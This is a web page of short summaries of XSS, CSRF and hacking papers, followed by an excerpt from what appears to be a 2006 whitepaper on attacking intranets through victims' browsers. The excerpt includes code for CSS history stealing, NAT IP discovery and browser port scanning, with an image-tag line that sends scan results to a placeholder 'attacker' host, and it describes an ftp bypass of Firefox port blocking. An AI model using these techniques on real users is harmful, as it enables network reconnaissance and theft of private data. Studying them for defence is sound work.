Cross Site Scripting (XSS) is a vulnerability that allows malicious users to insert client-side code into web pages that is then executed by a user's browser. This code can steal cookies, access private information, perform actions on the user's behalf, and redirect them to malicious websites. XSS works by having the server display input containing malicious JavaScript from a request. There are different types of XSS attacks, including non-persistent, persistent, and DOM-based attacks. Prevention methods include validating, sanitizing, and escaping all user input on the server-side and client-side. Web vulnerability scanners like Burp Suite can help test for XSS and other vulnerabilities.
This document discusses DOM-based cross-site scripting (XSS) vulnerabilities that can occur when user-controllable data from the URI fragment is dynamically added to the DOM without validation. It provides examples of how malicious JavaScript could be injected via a crafted URL and executed in a victim's browser. The document recommends carefully auditing all JavaScript to identify vulnerabilities, parsing JSON input securely, and using frameworks that prevent unsafe DOM operations to protect against DOM-based XSS attacks.
Cross Site Scripting (XSS) is a type of injection attack where malicious scripts are injected into otherwise benign and trusted websites. XSS has been a top web application vulnerability since 1996. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS. Reflected XSS occurs when malicious scripts come from URLs, while stored XSS happens when scripts are stored on websites. XSS can be used to steal cookies and sessions, redirect users, alter website contents, and damage an organization's reputation. Developers can prevent XSS through input validation, output encoding, and using the HttpOnly flag.
This document discusses hacking and methods for defending against it. It provides background on common hacking techniques like smurfing and spoofing. It also lists estimated costs of major computer worms and viruses. The document demonstrates hacking methodology, including gathering target information, identifying services, exploiting vulnerabilities, and preventing attacks. It recommends defenses like firewalls, intrusion detection systems, and keeping software patched.
The document discusses discovering and fingerprinting client systems on the internet and intranet through various methods like the Web Proxy Auto Discovery Protocol (WPAD), HTTP header manipulation, and analyzing responses from embedded devices like load balancers and proxies. The goal is to reveal sensitive information about network configurations and vulnerabilities that can be exploited in client-side attacks. Several attack vectors are proposed, with an emphasis on exploiting the increasing use of scripting and browsers as an "intermediate model" between clients and servers.
Cross-Site Request Forgery (CSRF) is a major web vulnerability that forces users to perform unintended actions on websites. It remains underreported due to the difficulty of detection. CSRF can be used to hijack user accounts, modify browser settings, and force purchases without user awareness or consent. While solutions like tokens exist, many websites remain vulnerable to CSRF attacks.

“Attacks always get better; they never get worse.” The malicious capabilities of Cross-Site Scripting (XSS) and Cross-
Site Request Forgeries (CSRF), coupled with JavaScript malware payloads, exploded in 2006. Intranet Hacking from
the Outside, Browser Port Scanning, Browser History Stealing, Blind Web Server Fingerprinting, and dozens of other
bleeding-edge attack techniques blew away our assumptions that perimeter firewalls, encryption, A/V, and multi-actor
authentication can protect websites from attack. They can’t, so they don’t.
One quote from a member of the community summed it way:
“The last quarter of this year (2006), RSnake and Jeremiah pretty much destroyed any security we
thought we had left, including the “I’ll just browse without JavaScript” mantra.
Could you really call that browsing anyway?”
–Kryan
That’s right. New research has revealed that even if JavaScript has been disabled or restricted, some of the now popular
attack techniques — such as Browser Intranet Hacking, Port Scanning, and History Stealing—can still be perpetrated.
From an enterprise security perspective, when users are visiting “normal” public websites (including Web mail, blogs,
social networks, message boards, news, etc.), there is a growing probability that their browser might be silently hijacked
by a hacker and exploited to target the resources of the internal corporate network.
Breaking the Perimeter Security Boundary
Most believe while surfing the Web that they’re protected by firewalls and isolated through private NAT’ed IP addresses.
With this understanding, we assume the soft security of intranet websites and the Web-based interfaces of routers,
firewalls, printers, IP phones, payroll systems, etc., even if left unpatched, remain safe inside the protected zone. Nothing
is capable of directly connecting in from the outside world, right? Well, not quite. Web browsers can be completely
controlled by any Web page, enabling them to become launching points to attack internal network resources. The Web
browser of every user on an enterprise network becomes a stepping-stone for intruders.

Exploit Procedures
1. A victim visits a malicious Web page, which assumes control over their Web browser. The malicious Web page
could be any Web page, but increasingly, “trusted” Web pages laced with a permanent XSS attack are being
leveraged for massive malware delivery.
2. When the malware is executed, it does so from the intranet perspective of the victim, where an outsider can’t
directly access. Meaning, the victim’s Web browser can be instructed to hand over its NAT’ed IP address and make
connections to the internal IP range on behalf of the attacker.
3. The victim’s Web browser is used as a launch platform where the malware port scans and fingerprint Web servers
on the internal IP range.
4. Attacks are initiated against the internal targets and compromised information is sent outside the network for collection.
History Stealing
For an attacker, knowing your victim’s surfing habits and where they are logged in is highly advantageous. Attacks can
be aimed directly at locations where they’re most likely to succeed, which also increases the speed of exploitation. And,
by now most are familiar with the JavaScript/CSS history hack1 to achieve this level of intelligence. This is a brute-force
method of revealing a user’s history2 by checking the color of thousands of links on the screen. If the link is purple, they’ve
been there; if blue, they haven’t. Sprinkle in a list of common intranet hostnames3 and the technique is highly effective.
The technique above relies upon JavaScript being enabled in the browser. But, what happens if it isn’t, or at least not on
the current website? Steal Browser History without JavaScript4 is a clever technique that utilizes CSS’s visited pseudo-
class and the display class to create conditional logic when applied to a link. If a link has been visited, a:visited5, the CSS
is configured to load a background image background: url(‘steal_history.cgi?http://foo/’), which communicated the data
back to the server. If the link has not been visited, the background image will not load, in effect informing the server the
user has not been there. Remember these techniques can be applied to any URL, including common intranet names such
as hr, payroll, intranet, router, printer, and thousands of other possibilities.
Obtaining NAT’ed IP Addresses
It’s trivial to obtain a Web browser’s public IP address from the Web server, but the NAT’ed IP Address is another matter.
This is the piece of information we need to begin exploring and exploiting their intranet. To obtain the internal NAT’ed IP
address, we need to invoke Java in a browser, and an applet is a simple cross-browser way to do so. The “My Address”6
applet by Lars Kindermann works very well for the task and conveniently passes the IP address to where JavaScript
can access it. The following code loads the MyAddress.class and then opens the URL of http://webserver/ip_address.
html?nat=XXXX so the data can be accessed remotely:
APPLET CODE=”MyAddress.class”
PARAM NAME=”URL” VALUE=”http://webserver/ip_address.html?nat=”
/APPLET
If the victim’s Web browser is a Mozilla/Firefox, it’s possible to skip the applet requirement and invoke a Java socket
directly from JavaScript space. The net-net effect between these two techniques is more or less the same.
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new
java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;
}

A small percentage of users disable Java in their browsers for security reasons, which thwart the techniques described.
However, this does not mean Intranet Hacking is a non-starter. While it’s easier to have the exact address, NAT’ed IPs are
almost always assigned an RFC 19187 compliant address, making their location reasonably predictable.
10.0.0.0 – 10.255.255.255
172.16.0.0 – 172.31.255.255
192.168.0.0 – 192.168.255.255
By simply selecting common net-block, scans of an entire Class-C range can be completed in less than 60 seconds.
JavaScript Port Scanning
Last year it was reported that JavaScript could be used to conduct intranet port scans8. The way the technique worked
is by forcing the browser to make SCRIPT SRC requests to internal IP addresses. If a Web server were listening, HTML
would be returned causing the JavaScript console to error. If no Web server were listening, there would be no errors. At
this point it was a simple matter of cycling through each IP address in the range and performing the boolean logic. But
as with the stealing history techniques, what if the victim’s browser has JavaScript disabled? It turns out there is a way to
conduct browser port scanning without JavaScript9.
In HTML, the LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the Web page
until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport
mechanism back to the attacker. Once the Web page is loaded, at some point in the future a request is received by
check_time.pl. By comparing the current epoch to the initial “epoch_timer” value (when the Web page was dynamically
generated), it’s possible to tell if the host is up. If the time difference is less than, say, five seconds, then likely the host is
up; if more, then the host is probably down (browser waited for timeout). And, fortunately since the requests are made to
intranet IPs, network traffic delays are minimized.

* img src=”http://attacker/check_time.pl?ip=192.168.1.100start= epoch_timer” /
Example (attacker Web server logs):
/check_time.pl?ip=192.168.1.100start=1164762276
Current epoch: 1164762279
(3 second delay) - Host is up
/check_time.pl?ip=192.168.1.100start=1164762276
Current epoch: 1164762286
(10 second delay) - Host is down
Bypassing Mozilla/Firefox Port Blocking
To protect against the HTML Form Protocol Attack10, which would allow the browser to send arbitrary data to most TCP
ports, Mozilla/Firefox restricted11 connections to several dozen ports. For example, entering the following URL into a
Mozilla/Firefox browser: http://jeremiahgrossman.blogspot.com:22/

Figure 2.
While the security measure works for the http protocol handler, using ftp is able to bypass the block: ftp://
jeremiahgrossman.blogspot.com:22/. If the port is up, it’ll connect; if not, timeout. This technique can be used to improve
JavaScript Port Scanning, where we’re currently only scanning horizontally for Web servers (80/443). Instead, vertical
port scans can be improved on the remaining ports and bypass the imposed restrictions.
